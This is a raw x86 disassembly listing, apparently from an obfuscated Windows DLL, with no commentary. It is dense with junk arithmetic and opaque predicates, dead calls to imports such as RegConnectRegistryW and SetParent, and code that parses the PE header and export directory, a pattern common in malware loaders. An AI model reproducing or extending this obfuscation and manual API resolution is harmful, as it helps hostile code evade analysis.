cmp dword [ebp - 0x270], 1
jge 0x1001cfc4
push dword [ebp - 0x270]
lea ecx, [ebp - 0xb34]
call fcn.10020420
or dword [eax], 0xffffffff
jmp 0x1001cf98
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xb88], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xc90], eax
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], eax
jg 0x1001cff6
mov dword [ebp - 0x524], 1
jmp 0x1001cffd
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x524]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xb90], eax
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0xcbc], eax
mov eax, dword [ebp - 0x30c]
dec eax
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0xb0]
add eax, dword [ebp - 0x278]
cmp dword [ebp - 0x30c], eax
je 0x1001d04e
mov dword [ebp - 0x52c], 1
jmp 0x1001d055
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x310]
mov ecx, dword [ebp - 0x52c]
lea eax, [ecx + eax + 0x585b]
cmp eax, dword [ebp - 0x310]
jge 0x1001d07c
mov dword [ebp - 0x534], 1
jmp 0x1001d083
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x534]
sub eax, dword [ebp - 0x278]
jns 0x1001d09d
mov dword [ebp - 0x954], 1
jmp 0x1001d0a4
and dword [ebp - 0x954], 0
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x53c], eax
push 0
lea ecx, [ebp - 0xb34]
call fcn.10020420
mov ecx, dword [ebp - 0x53c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x278]
imul eax, dword [ebp - 0x53c]
cmp eax, dword [ebp - 0x310]
jg 0x1001d0e6
mov dword [ebp - 0x544], 1
jmp 0x1001d0ed
and dword [ebp - 0x544], 0
mov eax, dword [ebp - 0x544]
mov dword [ebp - 0x9bc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb34]
call fcn.10020404
mov eax, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x280]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x19c], ecx
mov dword [ebp - 0x120], 0x3d837bc7
mov dword [ebp - 0x1f0], 0
jmp 0x1001d140
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 3
jge 0x1001d15c
mov eax, dword [ebp - 0x1f0]
mov dword [ebp + eax*4 - 0xad4], 0x624039b6
jmp 0x1001d133
mov dword [ebp - 0x120], 0
jmp 0x1001d175
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 2
jg 0x1001d1ab
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x120]
mov eax, dword [ebp + eax*4 - 0xad4]
mov dword [ebp + ecx*4 - 0xad4], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xad4], 0
je 0x1001d1a9
jmp 0x1001d1ab
jmp 0x1001d168
mov byte [ebp - 0x109], 0
movzx eax, byte [ebp - 0x109]
test eax, eax
je 0x1001d1c3
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov eax, dword [ebp - 0x19c]
cmp dword [eax], 0x4550
jne 0x1001ecb6
mov eax, dword [ebp - 0x19c]
cmp dword [eax + 0x74], 0
jbe 0x1001ecb6
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x19c]
cmp dword [ecx + eax + 0x78], 0
je 0x1001ecb6
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x54c], 0x265e3edf
mov dword [ebp - 0x3c], 0
jmp 0x1001d21d
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 6
jl 0x1001d23f
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x1001d23d
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
jmp 0x1001d216
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xb98], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xca0], eax
cmp dword [ebp - 0x3c], 0
jne 0x1001d2ab
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xba0], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xcc4], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x54c], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x54c], eax
jne 0x1001d289
mov dword [ebp - 0x95c], 1
jmp 0x1001d290
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xba8], eax
mov eax, 0x391c
test eax, eax
jne 0x1001d2ab
and dword [ebp - 0x554], 0
jmp 0x1001d2b5
mov dword [ebp - 0x554], 1
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0xa90], 0xf99ff606
mov dword [ebp - 0xa8c], 0xf99ff606
mov dword [ebp - 0xa88], 0xf99ff606
mov dword [ebp - 0xa84], 0xf99ff606
lea ecx, [ebp - 0x389]
call fcn.1002042f
push eax
lea eax, [ebp - 0xa80]
push eax
lea eax, [ebp - 0xa90]
push eax
lea ecx, [ebp - 0xdd4]
call fcn.10020432
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x304]
call fcn.100203de
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x14], 0x76e6bacd
mov dword [ebp - 0x574], 0xd9c8c74c
mov dword [ebp - 0x974], 0xf2aa787d
mov dword [ebp - 0x14], 0
jmp 0x1001d356
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x1001d530
mov dword [ebp - 0x57c], 0x2b607800
mov dword [ebp - 0x584], 0x9cc0f90b
push dword [ebp - 0x14]
lea ecx, [ebp - 0x304]
call fcn.10020420
push dword [ebp - 0x14]
lea ecx, [ebp - 0x304]
call fcn.10020420
push dword [ebp - 0x14]
lea ecx, [ebp - 0x304]
call fcn.10020420
push dword [ebp - 0x14]
lea ecx, [ebp - 0x304]
call fcn.10020420
push dword [ebp - 0x14]
lea ecx, [ebp - 0x304]
call fcn.10020420
push dword [ebp - 0x14]
lea ecx, [ebp - 0x304]
call fcn.10020420
imul esi, dword [eax], 5
push dword [ebp - 0x14]
lea ecx, [ebp - 0x304]
call fcn.10020420
add esi, dword [eax]
cmp esi, dword [ebp - 0x57c]
jl 0x1001d3ef
mov dword [ebp - 0x55c], 1
jmp 0x1001d3f6
and dword [ebp - 0x55c], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x304]
call fcn.10020420
mov ecx, dword [ebp - 0x55c]
cmp ecx, dword [eax]
jl 0x1001d41a
mov dword [ebp - 0xa14], 1
jmp 0x1001d421
and dword [ebp - 0xa14], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xcb0], eax
push 0xfffffffffffffffb
pop eax
test eax, eax
je 0x1001d444
push 6
pop eax
test eax, eax
je 0x1001d444
mov dword [ebp - 0x564], 1
jmp 0x1001d44b
and dword [ebp - 0x564], 0
cmp dword [ebp - 0x564], 0x7b40
jne 0x1001d463
mov dword [ebp - 0x964], 1
jmp 0x1001d46a
and dword [ebp - 0x964], 0
push 3
lea ecx, [ebp - 0x304]
call fcn.10020420
cmp dword [eax], 0xfffffffb
jge 0x1001d488
mov dword [ebp - 0x9c4], 1
jmp 0x1001d48f
and dword [ebp - 0x9c4], 0
cmp dword [ebp - 0x574], 0xffff
jae 0x1001d4a7
mov dword [ebp - 0x56c], 1
jmp 0x1001d4ae
and dword [ebp - 0x56c], 0
cmp dword [ebp - 0x56c], 0xec73
jg 0x1001d4c6
mov dword [ebp - 0x96c], 1
jmp 0x1001d4cd
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xbb0], eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x304]
call fcn.10020420
mov dword [ebp - 0xa08], eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x304]
call fcn.10020420
mov ecx, dword [ebp - 0xa08]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x574]
mov dword [ebp - 0xccc], eax
mov eax, dword [ebp - 0x57c]
add eax, 0xa0b8
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x974], eax
jmp 0x1001d34f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x304]
call fcn.10020404
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x19c]
mov edx, dword [ebp - 0x138]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xc0], edx
mov dword [ebp - 0x5cc], 3
mov dword [ebp - 0xbb8], 0xfffffffa
mov dword [ebp - 0x97c], 1
mov dword [ebp - 0xcd4], 0xffffffff
mov dword [ebp - 0x330], 0x874d4a78
push 3
lea ecx, [ebp - 0xae0]
call fcn.10020382
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x30], 0
jmp 0x1001d5b1
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x1001d5c7
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x328], 0x9b31
jmp 0x1001d5aa
mov dword [ebp - 0x30], 0
jmp 0x1001d5d7
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x1001d5ed
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xec], 0x5c8094a
jmp 0x1001d5d0
mov dword [ebp - 0x30], 0
jmp 0x1001d5fd
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jge 0x1001d619
push dword [ebp - 0x30]
lea ecx, [ebp - 0xae0]
call fcn.10020420
mov dword [eax], 0xb06f
jmp 0x1001d5f6
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xec], 0
jmp 0x1001d647
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xec], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xec], 0
jl 0x1001db5b
push 1
lea ecx, [ebp - 0x85c]
call fcn.10020382
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0x320], 0xa7eb8e13
mov dword [ebp - 0x614], 0x2a907865
mov dword [ebp - 0x5f4], 0x8d10fbf2
mov dword [ebp - 0xbc0], 2
push 1
lea ecx, [ebp - 0xcac]
call fcn.10020382
mov byte [ebp - 4], 0x20
mov dword [ebp - 0x84], 0
jmp 0x1001d6be
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x1001d6e0
push dword [ebp - 0x84]
lea ecx, [ebp - 0x85c]
call fcn.10020420
mov dword [eax], 0xfffffffb
jmp 0x1001d6b1
mov dword [ebp - 0x84], 0
jmp 0x1001d6f9
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x1001d718
push dword [ebp - 0x84]
lea ecx, [ebp - 0xcac]
call fcn.10020420
or dword [eax], 0xffffffff
jmp 0x1001d6ec
push 0
lea ecx, [ebp - 0x85c]
call fcn.10020420
and dword [eax], 0
jmp 0x1001d74e
push 0
lea ecx, [ebp - 0x85c]
call fcn.10020420
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x58c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x58c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x85c]
call fcn.10020420
cmp dword [eax], 0
jg 0x1001db38
mov dword [ebp - 0xf4], 0xd00693e9
mov dword [ebp - 0x1f4], 0
jmp 0x1001d787
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 3
jge 0x1001d7a3
mov eax, dword [ebp - 0x1f4]
mov dword [ebp + eax*4 - 0xdac], 1
jmp 0x1001d77a
mov dword [ebp - 0xf4], 0
jmp 0x1001d7bc
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
jg 0x1001db11
mov dword [ebp - 0x318], 0xbf085fff
mov dword [ebp - 0x1fc], 0
jmp 0x1001d7ec
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 3
jge 0x1001d808
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0xc9c], 0x58c458a9
jmp 0x1001d7df
mov byte [ebp - 0x10b], 0
movzx eax, byte [ebp - 0x10b]
test eax, eax
je 0x1001d826
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
mov dword [ebp - 0x320], 0xc5378470
mov eax, dword [ebp - 0x318]
mov ecx, dword [ebp - 0x318]
inc ecx
mov dword [ebp - 0x318], ecx
test eax, eax
jne 0x1001d911
push 0
lea ecx, [ebp - 0x85c]
call fcn.10020420
mov eax, dword [eax]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xec]
mov ecx, dword [ebp + ecx*4 - 0x328]
cmp dword [ebp + eax*4 - 0x328], ecx
jg 0x1001d892
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xdac], 0
je 0x1001d892
mov dword [ebp - 0x594], 1
jmp 0x1001d899
and dword [ebp - 0x594], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp - 0x594]
sub esi, dword [ebp + eax - 0xec]
push 0
lea ecx, [ebp - 0x85c]
call fcn.10020420
cmp esi, dword [eax]
je 0x1001d8c9
mov dword [ebp - 0x59c], 1
jmp 0x1001d8d0
and dword [ebp - 0x59c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x59c]
sub ecx, dword [ebp + eax - 0xc9c]
cmp ecx, 1
ja 0x1001d8f3
mov dword [ebp - 0x5a4], 1
jmp 0x1001d8fa
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x614]
cmp dword [ebp - 0x5a4], eax
jne 0x1001d911
and dword [ebp - 0x5ac], 0
jmp 0x1001d91b
mov dword [ebp - 0x5ac], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc9c]
cmp dword [ebp - 0x5ac], eax
jl 0x1001d93c
mov dword [ebp - 0x9cc], 1
jmp 0x1001d943
and dword [ebp - 0x9cc], 0
mov dword [ebp - 0x320], 0x86a3
mov eax, dword [ebp - 0x320]
mov dword [ebp - 0xd10], eax
mov eax, 0x2376
imul eax, eax, 0x5357
cmp eax, dword [ebp - 0x330]
jg 0x1001d978
mov dword [ebp - 0x5b4], 1
jmp 0x1001d97f
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x97c]
cmp dword [ebp - 0x5b4], eax
jge 0x1001d9a2
cmp dword [ebp - 0xf4], 0
je 0x1001d9a2
mov dword [ebp - 0x5bc], 1
jmp 0x1001d9a9
and dword [ebp - 0x5bc], 0
cmp dword [ebp - 0x5bc], 0x510a
jl 0x1001d9c1
mov dword [ebp - 0x5c4], 1
jmp 0x1001d9c8
and dword [ebp - 0x5c4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
mov eax, dword [ebp + eax*4 - 0x328]
mov dword [ebp - 0xbc8], eax
mov eax, dword [ebp - 0xf4]
add eax, dword [ebp - 0x5c4]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x5cc], eax
mov eax, dword [ebp - 0x5cc]
mov dword [ebp - 0xcc0], eax
push 1
lea ecx, [ebp - 0xae0]
call fcn.10020420
cmp dword [eax], 0x9b70
jne 0x1001da2d
mov dword [ebp - 0x5d4], 1
jmp 0x1001da34
and dword [ebp - 0x5d4], 0
cmp dword [ebp - 0x5d4], 0xe0c2
jg 0x1001da4c
mov dword [ebp - 0x5dc], 1
jmp 0x1001da53
and dword [ebp - 0x5dc], 0
imul eax, dword [ebp - 0x5dc], 0xf8
cmp eax, 0xf0b62e56
jne 0x1001da70
mov dword [ebp - 0x5e4], 1
jmp 0x1001da77
and dword [ebp - 0x5e4], 0
cmp dword [ebp - 0x5e4], 0x9320
jne 0x1001da8f
mov dword [ebp - 0x5ec], 1
jmp 0x1001da96
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5f4]
cmp dword [ebp - 0x5ec], eax
jle 0x1001dab6
cmp dword [ebp - 0xf4], 0
jne 0x1001dab6
and dword [ebp - 0x5fc], 0
jmp 0x1001dac0
mov dword [ebp - 0x5fc], 1
mov eax, dword [ebp - 0x5f4]
cmp dword [ebp - 0x5fc], eax
jge 0x1001dada
mov dword [ebp - 0x604], 1
jmp 0x1001dae1
and dword [ebp - 0x604], 0
cmp dword [ebp - 0x604], 0x9ab6322a
ja 0x1001daf9
mov dword [ebp - 0x60c], 1
jmp 0x1001db00
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x614], eax
jmp 0x1001d7af
mov byte [ebp - 0xca], 0
movzx eax, byte [ebp - 0xca]
test eax, eax
je 0x1001db33
push 0x2187
push 0x1931
call dword [sym.imp.USER32.dll_SetParent]
jmp 0x1001d72a
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xcac]
call fcn.10020404
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x85c]
call fcn.10020404
jmp 0x1001d62c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xae0]
call fcn.10020404
mov eax, 0xffff
mov word [ebp - 0x90], ax
push 3
lea ecx, [ebp - 0x14c]
call fcn.10020382
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x174], 0xd777
mov dword [ebp - 0x204], 0
jmp 0x1001dbb4
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 3
jge 0x1001dbd6
push dword [ebp - 0x204]
lea ecx, [ebp - 0x14c]
call fcn.10020420
mov dword [eax], 0x3342eb90
jmp 0x1001dba7
mov dword [ebp - 0x10], 2
jmp 0x1001dbe6
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jl 0x1001deaf
mov dword [ebp - 0x338], 0x95a5
mov dword [ebp - 0x9d4], 3
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
cmp dword [eax], 0x5e08
jge 0x1001dd0e
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
mov esi, eax
push 1
lea ecx, [ebp - 0x14c]
call fcn.10020420
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x1001dc4d
mov dword [ebp - 0x61c], 1
jmp 0x1001dc54
and dword [ebp - 0x61c], 0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
mov eax, dword [eax]
cmp eax, dword [ebp - 0x61c]
jge 0x1001dc78
mov dword [ebp - 0x624], 1
jmp 0x1001dc7f
and dword [ebp - 0x624], 0
cmp dword [ebp - 0x624], 6
jae 0x1001dc94
mov dword [ebp - 0xa18], 1
jmp 0x1001dc9b
and dword [ebp - 0xa18], 0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
push 1
lea ecx, [ebp - 0x14c]
call fcn.10020420
cmp dword [eax], 0
je 0x1001dcf0
push 1
lea ecx, [ebp - 0x14c]
call fcn.10020420
cmp dword [eax], 0
je 0x1001dcf0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
cmp dword [eax], 0
je 0x1001dcf0
xor eax, eax
je 0x1001dcf0
mov dword [ebp - 0x62c], 1
jmp 0x1001dcf7
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x62c], eax
jg 0x1001dd0e
and dword [ebp - 0x634], 0
jmp 0x1001dd18
mov dword [ebp - 0x634], 1
push 1
lea ecx, [ebp - 0x14c]
call fcn.10020420
mov esi, dword [ebp - 0x634]
imul esi, dword [eax]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
mov dword [eax], esi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
cmp dword [eax], 0
je 0x1001dd81
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
mov esi, eax
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x1001dd81
mov dword [ebp - 0x644], 1
jmp 0x1001dd88
and dword [ebp - 0x644], 0
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xbd0], eax
mov esi, dword [ebp - 0x174]
push 0
lea ecx, [ebp - 0x14c]
call fcn.10020420
imul esi, dword [eax]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
cmp esi, dword [eax]
jl 0x1001dddb
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
cmp dword [eax], 0
je 0x1001dddb
mov dword [ebp - 0x63c], 1
jmp 0x1001dde2
and dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0x63c], eax
je 0x1001de05
cmp dword [ebp - 0x338], 0
je 0x1001de05
mov dword [ebp - 0x984], 1
jmp 0x1001de0c
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x644], eax
jl 0x1001de26
mov dword [ebp - 0x64c], 1
jmp 0x1001de2d
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x64c], eax
jge 0x1001de47
mov dword [ebp - 0x654], 1
jmp 0x1001de4e
and dword [ebp - 0x654], 0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x14c]
call fcn.10020420
imul ecx, dword [ebp - 0x654], 0xebb1
cmp dword [eax], ecx
jl 0x1001de76
mov dword [ebp - 0x65c], 1
jmp 0x1001de7d
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0x65c], eax
jne 0x1001de97
mov dword [ebp - 0x664], 1
jmp 0x1001de9e
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x9d4], eax
jmp 0x1001dbdf
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14c]
call fcn.10020404
or dword [ebp - 0x130], 0xffffffff
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x8a8], 0xfffffffa
mov dword [ebp - 0x17c], 0x4a11600d
mov dword [ebp - 0x8b4], 0xaa12
mov dword [ebp - 0x20c], 0
jmp 0x1001df03
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 2
jge 0x1001df1f
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0x370], 0xffffffff
jmp 0x1001def6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x370], 0
jne 0x1001df39
cmp dword [ebp - 0x4c], 0
je 0x1001e039
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x370]
mov dword [ebp - 0x66c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x66c]
mov dword [ebp + eax - 0x370], ecx
cmp dword [ebp - 0x66c], 0
je 0x1001dfa3
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x370]
mov dword [ebp - 0x674], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x674]
mov dword [ebp + eax - 0x370], ecx
cmp dword [ebp - 0x674], 0
je 0x1001dfa3
mov dword [ebp - 0x67c], 1
jmp 0x1001dfaa
and dword [ebp - 0x67c], 0
cmp dword [ebp - 0x67c], 0xffff
jbe 0x1001dfd2
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x370], 0
je 0x1001dfd2
mov dword [ebp - 0x684], 1
jmp 0x1001dfd9
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x684], eax
jle 0x1001dff0
mov dword [ebp - 0x68c], 1
jmp 0x1001dff7
and dword [ebp - 0x68c], 0
mov eax, dword [ebp - 0x68c]
mov dword [ebp - 0x8a8], eax
mov eax, 0x1b6f
cmp eax, 0xffff
jne 0x1001e01b
mov dword [ebp - 0x694], 1
jmp 0x1001e022
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x694]
je 0x1001e039
mov dword [ebp - 0x69c], 1
jmp 0x1001e040
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x69c], eax
je 0x1001e057
mov dword [ebp - 0x6a4], 1
jmp 0x1001e05e
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x6a4]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x17c], 1
jmp 0x1001e08a
mov eax, dword [ebp - 0x17c]
dec eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jl 0x1001e0d2
mov dword [ebp - 0x8ac], 0xbf5f40e1
mov dword [ebp - 0x4c], 0
jmp 0x1001e0ad
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jg 0x1001e0c4
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x370], 0
je 0x1001e0c2
jmp 0x1001e0c4
jmp 0x1001e0a6
mov eax, dword [ebp - 0x8ac]
mov dword [ebp - 0x8b4], eax
jmp 0x1001e07d
cmp dword [ebp + 0x10], 0
jbe 0x1001e42a
mov dword [ebp - 0x28], 0x2e91a04
mov dword [ebp - 0x184], 0xfffffffe
mov dword [ebp - 0x6d4], 0xd58e7ea
mov dword [ebp - 0x28], 1
jmp 0x1001e107
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x18
jg 0x1001e1a8
mov dword [ebp - 0x214], 0
jmp 0x1001e12a
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 3
jge 0x1001e146
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0xa54], 0xffffffff
jmp 0x1001e11d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xa54], 0x1d
jmp 0x1001e174
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa54]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa54], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa54], 6
jl 0x1001e1a3
mov byte [ebp - 0xcb], 0
movzx eax, byte [ebp - 0xcb]
test eax, eax
je 0x1001e1a1
push 0x22d3
call dword [sym.imp.USER32.dll_IsZoomed]
jmp 0x1001e159
jmp 0x1001e100
cmp dword [ebp - 0x28], 0
je 0x1001e214
mov dword [ebp - 0x6ac], 0xeb987642
mov dword [ebp - 0x28], 0xffffffe7
jmp 0x1001e1c8
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffea
je 0x1001e20f
mov dword [ebp - 0x8bc], 0
mov dword [ebp - 0x6ac], 0x374b1b05
cmp dword [ebp - 0x6ac], 0x1afa9b64
jl 0x1001e1fa
mov dword [ebp - 0x6b4], 1
jmp 0x1001e201
and dword [ebp - 0x6b4], 0
mov eax, dword [ebp - 0x6b4]
mov dword [ebp - 0x8bc], eax
jmp 0x1001e1c1
jmp 0x1001e40c
mov dword [ebp - 0x18c], 0x2796a450
mov dword [ebp - 0x8cc], 0x8f5063f3
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xcf8], eax
cmp dword [ebp - 0x28], 0
jne 0x1001e26c
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x184], eax
jg 0x1001e24e
mov dword [ebp - 0x6bc], 1
jmp 0x1001e255
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x184]
cmp dword [ebp - 0x6bc], eax
jl 0x1001e26c
and dword [ebp - 0x6c4], 0
jmp 0x1001e276
mov dword [ebp - 0x6c4], 1
mov eax, dword [ebp - 0x6c4]
dec eax
cmp eax, 0x1b8d8131
jl 0x1001e290
mov dword [ebp - 0x6cc], 1
jmp 0x1001e297
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 0x4898
jge 0x1001e2bb
mov dword [ebp - 0x8c4], 1
jmp 0x1001e2c2
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xbd8], eax
mov eax, dword [ebp - 0x18c]
cmp dword [ebp - 0x18c], eax
jne 0x1001e2e8
mov dword [ebp - 0x6dc], 1
jmp 0x1001e2ef
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x184]
cmp dword [ebp - 0x6dc], eax
jne 0x1001e309
mov dword [ebp - 0x6e4], 1
